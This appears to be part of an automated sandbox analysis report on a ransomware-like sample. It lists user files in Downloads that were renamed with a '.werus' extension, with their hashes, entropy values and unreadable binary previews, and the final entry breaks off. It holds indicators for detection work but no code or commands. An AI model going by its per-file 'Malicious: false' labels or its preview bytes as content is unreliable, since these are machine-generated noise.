Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Downloads\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815370617293262
Encrypted:	false
SSDEEP:	12:kyoPdLDVGi3LUNtZ6uACFgf21+P7CzLrfx41+Oxi4IhL/g4osk+hHn+QZSD9A9CY:matzXACFDrfx4BFIdFA+mDxX4Rpmgz
MD5:	81D96279964195CEA0AD89BFBA1920BB
SHA1:	B5C3E8FD1EB2600F716CCB2F0C252EA0B2D24B66
SHA-256:	D4FF4A5D196FD63E8242621F729086F9493090F47D537E7567743CC017E0278B
SHA-512:	3848983319C48B75C68368A87E914CEF365DD6EA61408258C88BE13D5E5CCE964BC37006E827436A52D8CFE2424A93AF447AB65038C58E8774AAA79B81006036
Malicious:	false
Preview:	[>.......X..X:<.F6.h.J...8._..P.. .=W...TVL.s.(.sA.v.'..b.D2..s..I..\.\|.(. ...3x.o.p.}.t.Rv.7..a..p.p.f.VMYxz2..C.6.".......W""...%...D...`%B.......I.w_....i.\D..\.s.?....>_!........b..~`k..=..d+2..KN..=....'h....u!.&.;T....i.K...{...-..C}p..xs..$.p...l2...W.e........3.8........y.G."a.,.f..C..u...@.&....m..3...8.&T1...b..d.I.K..M....(...}2...K&w."...p..2.D.{-.v.c...s.....s..........7......1..'..+.b"....P...E...}....'z...&b=.Jjw.. r(r...?.N.7.X=`..U..5.l.."K}......f?..d..f.(.A..=.W......A....Z5%!x........q..S..?}........c...^Bv.s..E..>.!2..}....._...(...f'T.m3J,*.e\|..k.:y7..}.......Y.UL].....m.+Om~&V2..\..A):......'...bY...=.....o.&..,{....Tj....f....M.@...:%f....p=...^....a..{..f......:......@....+=?.-.c..g.P...7h..j........PU<U......;..I.V..,<.g".W..0L+...z..8[$.^.......5....E....G..n..<s........-......`h.n.:...Tq...MO..}H.^^=.......q...I.:1..._..M..H.o.C..f.B..i.(Q..A.;..o..&:.Y .(.. >..0.u.2pq....JWj~.U.'.....c.x.....>.mA..;.f.v^$9.vU.

C:\Users\user\Downloads\DUUDTUBZFW.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828220413993666
Encrypted:	false
SSDEEP:	24:g13yKrR1kMESHgJN/DHMtOdU2xClZUH3AS3QKY94QE:eiKd1V1gJN/DHMtTIDHw0QKYGQE
MD5:	2D0ABCE385246A61C179DF80E9219CBF
SHA1:	0ABA438E60CB193864B4A0C382D14E309B899A7F
SHA-256:	E1CC73C4B5426A8DD9246610E20C89387E8D027AABD758AD504A66707989BBCB
SHA-512:	296A384489120B8954C7C5DA8DC9141D6A7BDD196D44122D5077DCADEB1EB069644D79B6690D18293748FD0271A74DBBCFDEB8BF841CDDCD7B046361B5EB8434
Malicious:	false
Preview:	<s..AfiN.....M.5x..d.>.l.....{....k.p........$.}>..........~......4..O.~..N.c.;.7..)>.>4..p...E......c...g..od...fi7K...7g=q.P...B....#.n..\_.O..N.L.'Z.3..F.../$...-8X.z...d,..j.1.>?..z/....M..+..e....LE.v../.:3&T...tfz...ov.8.)}.>.N.T.P.ky{.....%%i......$...hL8.c.).<.^QZX...a...j..DX.%....w.b..j..:@.W...c.G.........x.........'.d..@..?.'.y.)..i...{.GI.6x.H1.q(...ZVr~..}.....FE.g\|......q.H.h<.S #...A<I..iu.`."?.....K}......W$..P.Uc..\|..,.............k.Z..h.0a`.....HR2jL....!.UVZP.t...F.(...;H..@..K.&~\|~............D..M.....^S.]j....=.N...q$..V..%%J..#w.......W.7. .6....2....n...J.....h.I..tZN\Hb..a.4..;3j:#.a.A.X?..%>v......yq..t7(A..3I...y...8i.c....n..}.U;G..]..@.fQ..]Q...o..o.F<Q.o...7.)m.....0..W.)V...#....w......;v....\N....d.5..:[..#[=...e=.`.zk.w........af..S.....(..2....V?y%v%.........zC3.\|+.E.....E.Z...Ve=s...'F...u.f.T4..F..S}.+.........:0...=.\|.f....PY.W.Z...[..E.92C..}..Z.WC"#...u.....+b.r..r..>.jb..!....5k.....7

C:\Users\user\Downloads\EFOYFBOLXA.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798255607866141
Encrypted:	false
SSDEEP:	24:wRQt4ltDWFW96dFC3MFEC/cIoi4CV5fIZBb+Cbi:uUE90W8dY3MWCLFgjs
MD5:	F0A2E536D14085B332671A54E1C8E828
SHA1:	A75A8E0D8EEDBC9C992E8B4D499EA04F369384AC
SHA-256:	3CB2950FAC9DBDD07CCAF61B645DC96D842264EDA67EB63A59017BDF836F5C91
SHA-512:	2D1EE758C8E12C77465C0B50A69EA69E82CC76F814EED9A309C23955DB8B25081AF79971D1A534263C84CFBD7C3394F6675FD5754D012CAB5D4D20AEDAB5C829
Malicious:	false
Preview:	K_.d.o.....<1@.=U.....kF.D%N..D......(.3..mub..wn.9tC......X.Q.d..i.......Jhq)....o.......1.S)L.....x{...E.Wc..Q..9._...jUp.R\......E.>C=Z.WB9A.2..?.i....}iLL...sq..........>B..Y..I$kC.P..ab.m.Q..h.$Qu.5f;?[....!NO.?...lhbu.~.Q.<.Q..W2.s.s5...\p.\.xB7.-...E`..j...6...>.]f. ;..y......zj.BT.v....7...53......\|..,......Cb .......N......V..k.Fg.KBs....}.....2.6...x...g.ZW[.....2..ix.......0..z...A.Y.n2s.t.....j......Y.=..y=q..q....%.[>.K.n.....#.I.Hcp.VYB..SI..1./5..x...T.......ge.V.]....[:...\|51..S....?@..g.......IR..\.K..t..?..y......@..M5.sw..$..7..U..'.R.Hl...b....../....(.;-h.........uK.!.).......z.p..3........\|.......70.S.D~N..i.s..U;R....+%.\|..K.O".3.E(.Rq.Ki..5@.^.]..!..J..~].+...]".b.3~.;.z9P..9.T...j.d..Na. .....j>.Qo..5.:.9]W....1... N.~.S.....`L3....;..h.f.7SBu..Zi.5..a...h....v...J%.T.rSFk.6.....o..u6bT,#/.Q.).."d...dBLz.....@.....\|./P........>.GDls..yv..$..9.^...B...S...'.....@....3Qu..f..'5.2.[...1.x..SP...n....3.[.j~R..

C:\Users\user\Downloads\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821759292904752
Encrypted:	false
SSDEEP:	24:A5YpqcwsjvoHO2BMR5vWX4I/5EIkcNru+:Csjvj2B0BIKI/ru+
MD5:	D85432824EBA0146E4DA3D48352C2A6A
SHA1:	5C92A2A09D91489EE32D903574C060F25900E365
SHA-256:	FA777A3D31F5F9A7C4E47FC7894C2CF7D2633278394CBDE2E961332188919C0B
SHA-512:	7425A19A58120C10688C805618F7E1C996DE87A5AF7C574E40BCD2E338C8037E0CE63951BF107E37DF4EDB2BE3010A1CA3C7660863EFC581D74579F006FF4622
Malicious:	false
Preview:	R..#].......f9..n.{.=.8oBMG.,.H2......Xc...a.W..20\x.u..n..He.y..g.H..+z.[.....+FoS....u.....:........9~k+...es.R.O.e.r.)......7.SI...($b@..{....J.T..s..).a..V& R..K.7r......x`..y-0...=...J...........%U.1h.K..<.....;M(....q. .a.[.^....B.....".m. .N..z64m.......Qq4\|.h...^4...>.M.3.^.]...j.U.;U'.....'](...{5.CM.QR.U..;...l......dB.3...}$..BZ]p+.....-...K...kevM...1I.....N.QZ.Y..Q...d`.?..WE..]\|..o...b.....a..\".Z.!.:.C.F/d..+.i."w7."".U+..d.O..k.']3I._.\|..,D.&.E......:.G..~.0...F..6./...~&......-...1}p.y*...$.l@YW.=e...5..CdI-.7...mI.$c..\..n.oXL.......j.[MY.U....C....2........$.w7L.K..b.l..).vH................aV.a%..z..<.#.K.(...`..7....y..%...I'';S\|..A.M#.....V<d.x._....:...;.:..o.w.."R{9&.g.e..d&..o{.b=.......F.O............F.8...!J.Z.u,....,W....F..0.r.r.db.;.9."b..t.o..^Y.C..z.....bM`o>..zR...1.xc.....K....S.2....'..u........3.Ak.r]...[..A.M.......#.gEi...$.#-.......H.N....,O.;...W.<.....k..;a.J.[F;~&h....\|e....X.$..Y.S/.

C:\Users\user\Downloads\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Downloads\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Downloads\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79065821242137
Encrypted:	false
SSDEEP:	24:BcAdU2KB//CBVMAXn+f3LUIaU7+uL31kpFlPktxMXj/0f6pnMCoEfg5utW1w:t4/CoUKbUILHL3+fvX2nMg5utB
MD5:	9DEED8F2F1F373304403D616CC9E0594
SHA1:	7CD414ED3C387C574D7C75338331181B0BBB28DB
SHA-256:	B96E0EBE92206DDEC44A71DDF2C8ED0A6AB80C958CDA64D0EC73815A094304A6
SHA-512:	41213B2E77147AF4CA92FD223B95BD5DFA7C8EF4890BDCB37AF27189DCC83D2820DB393B75DC882FDE1DC7F17403EF990FEA9B0C0C3F988B2791F705CD2F1185
Malicious:	false
Preview:	...+ad).U.MC^BQ....I.d.F...S.,...J.oy...y......%'..S.....8d..[.3.+..U..-m.M....rrv;..b..xB........-=....J1H..WF...R...U..T.....zn.?.5C...=].?.6/."...Xg..,}...=.s_.;..c..^..n.0...n...5M.L.V6Z......F...N$...q.\..U.rwx..V...O4r.Y..4.J.<...DIu...hue...#[.m ..v.Q.8".....V.N2........r....4..n......}7..0..x.j....'R$9M..-%.v{...@1T.3dY<_i...z..XF.U...l.o.R.@I.aU..q.y......M.g#......%....Lc.\H...O.u... .%+p;..4MJp..v... q...H.;...}.o}...jq.=..wb7.S.3..!...".M.f=.......e.,.K..).sa[..w......W..&...."....$...s._......`.5.7...E...C.@..&".{{....-.-V............X....c...YrK..J\|..!y._Y.....F.......c..2m O}....w..#\.!.....3..H..Z(yd.....V5.R.N.?nD:..c.xL.v.......{........g9..I..$.../...k..&..A./...-..Gm.&6.:F..L...`...Ax..!p.\|..8.._...vxQ/....:&@.J.X ....4.Yi4XE.}...D {....A;......i....u..#......;."5L..Lr.B<.H.}.r....cg.....4.....f...I.[c..`.X..W.2.....ac......,.v.V.~i).."..d?..AyaD-.A+...e....z...r.F..r....o..F. .y.({....4)..B....^...Z..9......1v..i

C:\Users\user\Downloads\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.827669742151911
Encrypted:	false
SSDEEP:	24:fgnoBx3i42aqrB6uMNImyUX0hwYQoe/Yx7KlGA9fPR0A+JlcHWwi:fgns3i458HZmNEWY7KlxfJ03lWWwi
MD5:	97414FC7A2AC9A9EE61DE1D3402538F6
SHA1:	EB849C45F020DCEFC4BC1E93792B8D4D2FFAEB4B
SHA-256:	017C0B78A08EBD838FD39EC2930EC91A9BB814C66F05F25CF3E6AAAE325A74F0
SHA-512:	7D65B4FCD395523AFD34A5F968FF19A518D7D004616150F0F10EC7F080C9B902876DE4BD0C92E53495DAEFD72244CAF1BD05EB35A1467F2E6FF2F0B1859565DE
Malicious:	false
Preview:	`6.......h...K.zI.A.^j`9..9....<..:.3../.$.......3..Z....o.1.W.P:;.@y.ut.AU^....._0...)..............8u......R....`.C...S.....`.);3.l....f.7...o.4..Q.P..BN.+F......]u{....~K`)....f6..../.1C(....p..T...m...V}./...uR~..2.Z..c..x....).....U...9...!....K.....l.i.t.@.\|.r.7.....u...u`.....t.^1.C.\|.bj~pI....$&...BXL../...8......>.S..E19X.\|..coE...-...R..\|.X.9.P}.I....,..!..W.T......."9{.l.I.-.....V(Z.......%Enw.....\|q..SQkr].f"/...FS.D!...(M-n..s.{.o..R....\9...'...n.=.......4..?C../..c..<.......8A..S..vJ....sKC.^.....:......eNn...)&Y...K....3..6. ...LP%.j....FJ=...X..x.D....v.0......y#...=T.Z7..G(a.8.....r.B......y....W..B.....^.$....u..1...2.c.?...vt....ad......l.aF..#.@....].....^D.J...@...^....J.9..M8...Co..Pn../..N...g9.j..'a.n{.I.A..\*.7+F..%R..~...G.P.4..;.....9..<..8n......e..Ju.ZaHT._.....0KZ...w..M.\|..D6},.4......\|.........CYxQ..a+.1J+..X=...;..$...n..3.. .3.r.x.n..-.)W:z.LD....S....z..[I....X.e$...(kS....84... ...B~.....y.{.;

C:\Users\user\Downloads\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Downloads\GRXZDKKVDB.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Downloads\NVWZAPQSQL.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815318155019802
Encrypted:	false
SSDEEP:	24:ekmW4TKI4HedQMw/ezvoFaPJqQ7DVhTBT7cHkgBdlqahLm+/3R9HN9g:eZW4ub+dQMae8EBquD3BT7wzBdlqavZy
MD5:	509F015F2DB9EE594031AB80CF3316C5
SHA1:	258B4567FACE4CEC1C0E889C5FF657635D546353
SHA-256:	AECB13B0A0403C12FB53B2B79621AC9DEE54EB271381B49776591F97A789E7D7
SHA-512:	48AA32EA89340F41E69DC1744EFAA9DE5E092DD96E65FC2E76C904A7CC06C3A1E2F84562264430CB7FDBFCC627DF9FE61DF5D8005AC9759F55FF94B147FD5DE4
Malicious:	false
Preview:	..$.vl...r..\|.=.hS59_7...P...,.W7...c..f'/.U..........X..AV,..y...Jb...6>..;.7.P..mS..2.=.PL..%..rq.mt...GT{.m.m....g.8s..8^.m;.`..gq.A..Qdw#..a...4.._..E....pS'.T.......u...A\|..\...S...=.5v g.=..[..v3...E.a...oY.K...fT.obGD..c6.>......K........... .......zR'!n.le..... ....mg.m.k.rX&.0.p...A&...c5..(;q.J...EC.'.O\|..........E.wd.....S.........Q:{].......W\w._..m...S&.d.h.....9.....Ex..-..-..MK.,.?'.......L...:K.6D.{3MFvV.\.$..5.S..U.Z..5J?TY.. ..,.5.=].z.hKf..Fzq...&..e.zL2..-v....Y.1N..u....@sA..[..-NS.....va.w...P......IPn........bdZ)..Q..6$..../.)..jCSm=('.Jea..{..sT8SZ..nP...I...rR..;m.......#........V.n.%[...;\|D...g).-r.?.....s..,v..........6[R...o.......B..............x...V.m.H.-.!..B.Y.....a........KU..i7...z...Yc..a.r.@..._.D.....l....;....BPn}..........9.u...c%u.R?V.r...>.r6i.L.xh..o..}+....K....s.k..-..yZ.:..z.M.jOR.YR%.)C..g._.\|../f.Zj...m7H._E..J....+._\.......o.&...er$.\..1W.1.% T..4....7..A....o~6y;..]@\|......

C:\Users\user\Downloads\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8277762038193615
Encrypted:	false
SSDEEP:	24:YM8+bOIK1GGnm+XDv/5wMrPcX2g9UnMnZUcLhgsBZi:YM8gEVpXD5FgXYoZ5Ngn
MD5:	031933300F50E20BCD60588843998EE3
SHA1:	7A723B0021B50978ABA3187E5B620C212BFFB093
SHA-256:	D76FA1FE651504A5E45FECB28B6172DEB6811C74E88594E008861C0350801963
SHA-512:	7961A2D2397853422E68DD707746146A76641A8D2AB802555A614126D16AD304227DD46D889EEEF8D218523A54A4E7750326F233119AC3185C8049AA8903F78C
Malicious:	false
Preview:	..B..f..>>2.....tX...........t.Xc..@...E..W.#..".72s.b..7.m...j.:....b..{..~}[{...z....U.c..%1.Zp\|.F33..h?...Wq6..3....#"..tM.#u.29].T.JS..s...U.V......K.'..J..(...[..4:3.n@.d....v......5...,..d....nA/...K.:...(.r.LF.....#.#31j!x0.....M2s...$.J..;.............>.uO.0q@r?....0.4w`..\...g....2.9.A...G......4....A..a..^..IY.w..yEs4...d,.j....T.-.>R7.i.,.V...#..!...7.7..k.p...\|D`\.@mR.1...........+]..5.UW..tQ..p....s...0.D ).=..Q.=.".....;..Q.....dd.%.#G?r.;.Ar/...p9..V....[.7...p..z..a;.....t^...'....U......h.n...luj.&Ye......".$.....E..\&V.".hU#.g...`l\...._n~A{.(rLD.H.z.UR.X....1...=............1N.... ...!N.k.wy.F.K......pM..- ...V...or..Cm..N.w&..g..... Y...v.t......Z.{Y...Pv@.uG..k.x.F.t.%4.i{..?...A.....V;..o.,.;...!U.....6.c.j.g...y~...........Q...U;\|^54..'D...Y} ...Xt...vV.+.iIi.1.>"............R.-.....~Fp..AR......?..x.i..\....B;....%a.c...w..^o.C.G."y... ...f.&.....u..DS.Z...7Uj.:....i. :...G....sG^(L&.._.,B...<@'...9e..<2.

C:\Users\user\Downloads\PALRGUCVEH.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Downloads\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
